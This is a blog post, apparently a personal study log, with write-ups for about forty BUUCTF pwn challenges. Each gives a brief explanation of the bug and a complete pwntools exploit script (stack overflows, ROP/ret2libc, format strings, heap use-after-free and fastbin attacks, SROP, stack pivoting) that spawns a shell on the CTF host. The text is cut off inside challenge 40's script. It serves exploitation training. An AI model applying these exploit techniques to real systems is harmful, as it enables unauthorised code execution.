HackPluto's Blog

BUUCTF刷题1-100记录

字数统计: 9.1k阅读时长: 51 min
2020/04/14 Share

1.test_your_nc

直接使用nc命令即可,本来还以为会有欢迎页面什么的,结果就是黑屏直接输入命令
T05m8S

2.rip

简单的栈溢出

1
2
3
4
5
6
7
8
from pwn import *
p = process('./pwn1')
#p = remote("node3.buuoj.cn",27060)

payload = "a"*15+"BBBBBBBB"+p64(0x040118a)
p.sendline(payload)

p.interactive()

还有一种方法是覆盖0xf 也就是15字节,然后用后门函数地址覆盖RBP,通过libc里面的call rbp 来拿到shell

12511597922148_.pic_hd

3.warmup_csaw_2016

OFjrWb
简单的栈溢出,将返回地址改成上面这个函数就行

1
2
3
4
5
6
7
8
from pwn import *


sh = process("./warmup_csaw_2016")
sh.recvuntil(">")
payload = "a" * 72 + p64(0x0000000000400611)
sh.sendline(payload)
sh.interactive()

4.pwn1_sctf_2016

一个C++ 的栈溢出,本来只能输入32字节是不能溢出的,但是题目会将所有的I换成you,就可以溢出了

1
2
3
4
5
6
7
from pwn import *

sh = process("./pwn1_sctf_2016")

payload = "I" * 19 + "a" * 7 + p32(0x08048F0D)
sh.sendline(payload)
sh.interactive()

5.ciscn_2019_n_1

一个关于浮点数的题,这里需要说下SSE指令集,这个是英特尔专门为浮点数设计的指令集
比如这个题里的movss等汇编语句都是SSE指令集
tT4RPM
这个题也是一个溢出,通过v1的溢出,覆盖v2的值,覆盖成11.28125就好,具体11.28125在内存里什么样调试一下就知道了
KP2Cc0
EXP:

1
2
3
4
5
6
7
8
9
10
from pwn import *
#p = process('./ciscn_2019_n_1')
p = remote("node3.buuoj.cn",26225)

payload = "I"*0x2c+p64(0x41348000)

p.sendline(payload)

data = p.recv(1024)
print data

6.ciscn_2019_c_1

一道ROP的栈溢出,因为题目开启了NX,所以只能进行ROP
OTfaVZ

查找指令后发现指令不够用不能进行ret2syscall
eoKTC3
所以只能进行ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

p = process('./ciscn_2019_c_1')
#p = remote("node3.buuoj.cn",28020)
elf = ELF("./ciscn_2019_c_1")

libc = ELF("./libc-2.27.so")

p.recvuntil("Input your choice!")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")

puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000400c83
puts_addr = elf.plt['puts']

encrypt = 0x4009a0

payload1 = "a"*79+"\x00"+"B"*8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(puts_addr)+p64(encrypt)

p.sendline(payload1)

p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_a = u64(p.recvuntil("\n").strip().ljust(8,"\x00"))
print "puts address:",hex(puts_a)


base = puts_a - libc.symbols['puts']
system_addr = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh").next()
print system_addr,binsh

payload2 = "a"*79+"\x00"+"B"*8+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)
sleep(1)
p.interactive()

7.ciscn_2019_en_2

和前面的一个题一样,同样是ROP,但是需要注意栈对齐,这个也是Ubuntu18的一个特点吧
http://blog.eonew.cn/archives/958

别的都是很基础的ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

from pwn import *

#p = process('./ciscn_2019_en_2')
p = remote("node3.buuoj.cn",27103)
elf = ELF("./ciscn_2019_en_2")
libc = ELF("./x64_libc-2.27.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("Input your choice!")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")

puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000400c83
puts_addr = elf.plt['puts']

main_addr = elf.symbols['_start']

payload1 = "\x00"*0x50+"B"*8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(puts_addr)+p64(main_addr)

p.sendline(payload1)

p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_a = u64(p.recvuntil("\n").strip().ljust(8,"\x00"))
print "puts address:",hex(puts_a)
base = puts_a - libc.symbols['puts']
system_addr = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh").next()
print hex(system_addr),hex(binsh)

p.recvuntil("Input your choice!")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
payload2 = "\x00"*0x50+"B"*8+p64(0x4006b9)+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
p.sendline(payload2)

sleep(1)
p.interactive()

8.get_started_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("node3.buuoj.cn",27121)
elf = ELF("get_started_3dsctf_2016")
pop2_ret = 0x0809a7dc
pop3_ret = 0x0804f460
payload = 'a' * 56 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
p.sendline(payload)

p.sendline(asm(shellcraft.sh()))
p.interactive()

9.[第五空间2019 决赛]PWN5

格式化字符串,直接改BSS内容

1
2
3
4
5
6
7
8
9
from pwn import *

#p = process('./pwn')
p = remote("node3.buuoj.cn",29653)
payload = p32(0x0804c044) + "%10$n"
p.sendline(payload)
p.recvuntil("your name:")
p.sendline('4')
p.interactive()

10.babyheap

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

寻找one_gadget
seS3hK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

sh=remote("node3.buuoj.cn",26070)
#sh=process('/media/psf/Home/Desktop/Challenges/BUUpwn/babyheap_0ctf_2017.dms',env={"LD_load":'./x64_libc.so.6'})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]

def Add(Size):
sh.recvuntil("Command: ")
sh.sendline("1")
sh.recvuntil("Size: ")
sh.sendline(str(int(Size)))
def Fill(Index,Size,Content):
sh.recvuntil("Command: ")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(Index))
sh.recvuntil("Size: ")
sh.sendline(str(int(Size)))
sh.recvuntil("Content: ")
sh.send(Content)
def Free(Index):
sh.recvuntil("Command: ")
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(Index))
def Dump(Index):
sh.recvuntil("Command: ")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(Index))
Add(0x10)
Add(0x10)
Add(0x80)
Add(0x10)
Fill(0,0x20,p64(0)*3+p64(0x41))
Fill(2,0x20,p64(0)*3+p64(0x71))
Free(1)
Add(0x30)
Fill(1,0x20,p64(0)*3+p64(0x91))
Free(2)
Dump(1)
sh.recvuntil('\x91'+'\x00'*7)
leak=u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook=leak-88-0x10
print hex(malloc_hook)
libc_base=leak-0x3C4B20-88
one_gadget=libc_base+onegadget[1]
fakefd=malloc_hook-0x23
Add(0x60)
Free(2)
Fill(1,0x28,p64(0)*3+p64(0x71)+p64(fakefd))
Add(0x60)
Add(0x60)
Fill(4,0x13+8,'a'*0x13+p64(one_gadget))
Add(0x10)
sh.interactive()

11.[HarekazeCTF2019]baby_rop

从题目就可以看出来是一个ROP题
使用IDA可以看到已经有system函数了
查找有没有关键的字符串
VQUBPQ
所以直接写脚本就好,很基础的ROP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#p = process('./babyrop')
p = remote('node3.buuoj.cn',28690)

system_addr = 0x0400490
bin_sh = 0x00601048
rop = 0x000400683
ret = 0x00400479
payload= "a"*16+p64(0)+p64(rop)+p64(bin_sh)+p64(system_addr)
p.sendline(payload)
p.interactive()

WYUvhD

12.jarvisoj_level0

简单的栈溢出

1
2
3
4
5
6
7
8
9
from pwn import *

#p = process('./level0')
p = remote('node3.buuoj.cn',28508)


payload= "a"*0x80+p64(0)+p64(0x0400596)
p.sendline(payload)
p.interactive()

13.ciscn_2019_s_3

gadgets函数返回值是RAX=15,对应的系统调用是sigreturn
acDJeN
所以这个题可以使用SROP来做

pwntools的SROP函数 SigreturnFrame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

io=process('pwn')

main=0x0004004ED
sigret=0x4004DA
syscall=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pl2='/bin/sh\x00'*2+p64(sigret)+p64(syscall)+str(frame)
io.send(pl2)

io.interactive()

14.jarvisoj_level2

程序已经自带了system和/bin/sh 直接ROP
pGrk8a

1
2
3
4
5
6
7
8
9
10
11
from pwn import *


#p = process('./level2')
p = remote('node3.buuoj.cn',25092)
sh = 0x0804a024
system = 0x08048320
p.recv()
payload = "a"*0x88 + p32(0) + p32(system) + p32(0) + p32(sh)
p.sendline(payload)
p.interactive()

15.[HarekazeCTF2019]baby_rop2

同样是一个ROP的题,题目中没有system函数,所以我们先用printf函数泄漏出libc地址,再使用常规的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',25110)
elf = ELF('./babyrop2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x00400733
pop_rsi_r15 = 0x0400731
format_string = 0x000400790 #%s的地址

read_got = elf.got['read']

payload = "a"*0x28 + p64(pop_rdi) + p64(format_string) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(elf.plt['printf']) + p64(elf.symbols['main'])
p.recv()
p.sendline(payload)
p.recvuntil("!\n")

base = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00")) - libc.symbols['read']
system_addr = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh").next()

payload = "a"*0x28 + p64(pop_rdi) + p64(binsh) + p64(system_addr)
p.sendline(payload)
p.interactive()

16.ciscn_2019_ne_5

同样是栈溢出,这个题我们给system函数传参的是”sh”,在Linux里因为环境变量的缘故,”/bin/sh”,”sh”都可以被解析成shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#p = process('./ciscn_2019_ne_5')
p = remote('node3.buuoj.cn',29187)
elf = ELF('./ciscn_2019_ne_5')
libc = ELF('./libc-2.23.so')

p.recvuntil('password:')
p.sendline('administrator\x00')
p.recvuntil('0.Exit\n:')
p.sendline('1')
p.recvuntil('info:')
p.sendline('a'*0x4c+p32(elf.plt['system'])*2+p32(0x80482EA))
p.recvuntil('0.Exit\n:')
p.sendline('4')
p.interactive()

17.ez_pz_hackover_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"


#p = process("./ez_pz_hackover_2016")
p = remote("node3.buuoj.cn", 29489)

p.recvuntil("Yippie, lets crash: ")
s_addr = int(p.recvuntil("\n").strip(),16)
print hex(s_addr)
payload = 'crashme\x00'
payload = payload.ljust(26, '\x00')
payload += p32(s_addr-0x1C)
payload += asm(shellcraft.sh())

p.sendline(payload)

p.interactive()

18.ciscn_2019_n_5

栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

#p = process("./ciscn_2019_n_5")
p = remote("node3.buuoj.cn", 25437)
name_addr = 0x0601080
p.sendline(asm(shellcraft.sh()))

payload = "a"*32 + p64(0) + p64(name_addr)

p.recvuntil("What do you want to say to me?\n")

p.sendline(payload)

p.interactive()

19.[Black Watch 入群题]PWN

由于溢出的长度太小,所以使用栈迁移
栈迁移的题目 要使用send不能使用sendline!!!!
这个地方卡了一个多小时气死我了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = "debug"
#context.arch = "i386"

#p = process("./spwn")
p = remote("node3.buuoj.cn", 27303)
elf = ELF("./spwn")
libc = ELF("/lib32/libc.so.6")

bss_addr = 0x0804a300
fake_ebp = bss_addr + 0x200
lev_ret = 0x08048408
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

payload = p32(fake_ebp) + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("What is your name?")
p.send(payload)

payload1='a'*0x18+p32(bss_addr)+p32(lev_ret)
p.recvuntil("What do you want to say?")
p.send(payload1)

base = u32(p.recv(4)) - libc.symbols['write']
system_addr = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh").next()

payload = p32(fake_ebp) + p32(system_addr) + p32(0) + p32(binsh)
p.sendafter("What is your name?",payload)

p.send(payload1)

p.interactive()

20.ciscn_2019_es_2

同样是栈迁移,栈里可以泄漏出和EBP相关的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
#context.log_level = "debug"
#context.arch = "i386"

p = process("./ciscn_2019_es_2")
#p = remote("node3.buuoj.cn", 28209)


sys_plt=0x8048400

pl='a'*0x20+'bbbbbbbb'
p.send(pl)
p.recvuntil('b'*8)
ebp = u32(p.recv(4)) - 0x10
print hex(ebp)

pl2=(p32(ebp-0x1c)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x14)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x24)
p.send(pl2)
p.interactive()

21.bjdctf_2020_babystack

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context.log_level = "debug"
#context.arch = "i386"

#p = process("./bjdctf_2020_babystack")
p = remote("node3.buuoj.cn", 26152)

sys = 0x04006e6

p.recv()
p.sendline("100")
p.recv()

payload = "a"*0x10 + p64(0) + p64(sys)
p.sendline(payload)

p.interactive()

22.jarvisoj_tell_me_something

简单的栈溢出,但是这个题的汇编在mian函数的最后没有使用leave;ret返回,而是使用了 add esp 0x88;ret 所以在调试的时候不需要去理会RBP的值

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context.log_level = "debug"
#context.arch = "i386"

#p = process("./guestbook")
p = remote("node3.buuoj.cn",29637)

sys = 0x0400620
p.recv()
payload = "a"*0x88 + p64(sys)
p.sendline(payload)
print p.recv()

23.jarvisoj_level3

普通的ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#context.arch = "i386"

#p = process("./level3")
p = remote("node3.buuoj.cn",28201)
elf = ELF("./level3")

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048484

p.recv()
payload = flat(["a"*0x88,0,write_plt,main_addr,1,write_got,4])
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)
p.recv()

payload = flat(["a"*0x88,0,system_addr,0,str_bin_sh])
p.sendline(payload)

p.interactive()

24.铁人三项(第五赛区)_2018_rop

和上一个题一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./2018_rop")
p = remote("node3.buuoj.cn",25663)
elf = ELF("./2018_rop")

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x080484c6

payload = flat(["a"*0x88,0,write_plt,main_addr,1,write_got,4])
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = flat(["a"*0x88,0,system_addr,0,str_bin_sh])
p.sendline(payload)

p.interactive()

25.jarvisoj_fm

格式化字符串的一个题
可以使用pwntoolsd的函数

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./fm")
p = remote("node3.buuoj.cn",28982)

payload = fmtstr_payload(11, {0x0804a02c: 4})
p.sendline(payload)

p.interactive()

26.jarvisoj_level4

上面的原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./level4")
p = remote("node3.buuoj.cn",27902)
elf = ELF("./level4")

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048470

payload = flat(["a"*0x88,0,write_plt,main_addr,1,write_got,4])
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = flat(["a"*0x88,0,system_addr,0,str_bin_sh])
p.sendline(payload)

p.interactive()

27.jarvisoj_level3_x64

普通的64位ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./level3_x64")
p = remote("node3.buuoj.cn",25198)
elf = ELF("./level3_x64")

pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x040061a

payload = flat(["a"*0x80,0,pop_rdi,1,pop_rsi_r15,write_got,0,write_plt,main_addr])
p.sendlineafter("Input:\n",payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = flat(["a"*0x80,0,pop_rdi,str_bin_sh,system_addr])
p.sendlineafter("Input:\n",payload)

p.interactive()

28.roarctf_2019_easy_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *


io=remote("node3.buuoj.cn",25624)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def add(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))

def edit(index,size,data):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(data)

def free(index):
io.recvuntil('choice: ')
io.sendline('3')
io.recvuntil('index:')
io.sendline(str(index))

def show(index):
io.recvuntil('choice: ')
io.sendline('4')
io.recvuntil('index:')
io.sendline(str(index))

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))
free(2)
show(1)
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a

edit(4,50,'a'*0x28+p8(0xa1))
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5
add(0x68)#6malloc_hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16))

io.interactive()

29.ciscn_2019_final_3

简单的Double Free

30.bjdctf_2020_babyrop

简单的ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"


#p = process("./bjdctf_2020_babyrop")
p = remote("node3.buuoj.cn",25065)


pop_rdi = 0x0000000000400733
#pop_rsi_r15 = 0x0000000000400731

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x04006ad

p.recv()
payload = flat(["a"*0x20,0,pop_rdi,puts_got,puts_plt,main_addr])
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = flat(["a"*0x20,0,pop_rdi,str_bin_sh,system_addr])
p.recv()
p.sendline(payload)

p.interactive()

31.others_shellcode

直接运行

1
2
3
from pwn import *
p = remote("node3.buuoj.cn",25065)
p.interactive()

32.ciscn_2019_n_3

UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "amd64"

#p = process("./ciscn_2019_n_3")
p = remote("node3.buuoj.cn",28621)
elf = ELF("./ciscn_2019_n_3")

def newnote(idx,type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:
p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil("CNote > ")
p.sendline(str(2))
p.recvuntil("Index > ")
p.sendline(str(idx))
def shownote(idx):
p.recvuntil("CNote > ")
p.sendline(str(3))
p.recvuntil("Index > ")
p.sendline(str(idx))


newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
newnote(2,1,0x41)
delnote(1)
delnote(2)
newnote(3,2,'bash'+p32(elf.plt['system']),0xc)
newnote(4,2,"/bin/sh\x00",0x38)
delnote(1)

p.interactive()

33.jarvisoj_level1

前面的原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./level1")
p = remote("node3.buuoj.cn",28191)
elf = ELF("./level1")

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x080484b7

payload = flat(["a"*0x88,0,write_plt,main_addr,1,write_got,4])

p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = flat(["a"*0x88,0,system_addr,0,str_bin_sh])
p.sendline(payload)

p.interactive()

34.jarvisoj_test_your_memory

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./level1")
p = remote("node3.buuoj.cn",25519)

cat_flag = 0x080487e0
payload = flat(["a"*0x13,0,0x080485bd,cat_flag,cat_flag])

p.sendline(payload)
print p.recv()
p.interactive()

35.[ZJCTF 2019]Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./login")
p = remote("node3.buuoj.cn",25414)

shell = 0x400e88

payload = '2jctf_pa5sw0rd'+'\x00'
payload+= 'a'*20+'\x00'+'a'*36
payload+= p64(shell)
p.recvuntil('username: ')
p.sendline('admin')
p.recvuntil('password: ')
p.send(payload)
p.interactive()

36.hitcontraining_uaf

简单的UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./hacknote")
p = remote("node3.buuoj.cn",27397)

def add(Size,mas):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(str(int(Size)))
p.recvuntil("Content :")
p.sendline(mas)

def Free(Index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(Index))

def dump(Index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(Index))

magic = 0x08048945
add(0x10,"aaa")
add(0x10,"bbb")
Free(0)
Free(1)
add(0x8,p32(magic))
dump(0)

p.interactive()

37.gyctf_2020_borrowstack

一道栈迁移,但是有坑,因为BSS离plt太近了,所以先使用ret,将栈地址增大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./gyctf_2020_borrowstack")
elf = ELF("./gyctf_2020_borrowstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",25017)

bss_addr = 0x601080
lev_ret = 0x0000000000400699
rdi_ret = 0x0000000000400703
main_addr = 0x0400626
ret = 0x4004c9



payload = "a"*0x60 + p64(bss_addr) + p64(lev_ret)
p.send(payload)
p.recvuntil("Done!You can check and use your borrow stack now!\n")
payload = p64(ret)*20 + p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
p.send(payload)
puts_a = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print "puts address:",hex(puts_a)


libc_base = puts_a - libc.symbols['puts']
one_gad = libc_base + 0x4526a
payload = "a"*0x60 + p64(bss_addr) + p64(one_gad)
p.send(payload)
p.recvuntil("Done!You can check and use your borrow stack now!\n")
p.sendline("111")
p.interactive()

38.cmcc_simplerop

简单的ROP,先使用read函数给BSS写入”/bin/sh”,再使用ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./simplerop")
p = remote("node3.buuoj.cn",29477)
elf = ELF("./simplerop")

eax_ret = 0x080bae06
edx_ecx_ebx_ret = 0x0806e850
int_0x80 = 0x080493e1
bss_a = 0x080eafb4
read_a = 0x0806cd50
main_a = 0x08048e24


payload = flat(["a"*0x1c,0,read_a,main_a,0,bss_a,100])
p.sendline(payload)
sleep(0.5)
p.sendline("/bin/sh\x00")
sleep(0.5)
payload = flat(["a"*0x14,0,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bss_a,int_0x80])
p.sendline(payload)
p.interactive()

39.axb_2019_fmt32

简单的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./axb_2019_fmt32")
p = remote("node3.buuoj.cn",27726)
elf = ELF("./axb_2019_fmt32")
libc = ELF('libc-2.23.so')
p.recv()
p.send('%9$sA'+p32(elf.got['printf']))
libc_base = u32(p.recv()[9:0xd].ljust(4,'\x00')) - libc.symbols['printf']
p.success('libc_base: '+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
printf_got = elf.got['printf']
payload ='a'*5+fmtstr_payload(9,{elf.got['printf']:0x3a80e+libc_base})
p.sendline(payload)
p.sendline("cat flag")
print p.recv()
p.interactive()

40.[ZJCTF 2019]EasyHeap

edit函数处存在任意长度的溢出。所以这个题利用方式很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./easyheap")
p = remote("node3.buuoj.cn",29017)
elf = ELF("./easyheap")

def add(size,mes):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(mes)

def edit(index,size,mes):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap : ')
p.sendline(mes)

def free(index):
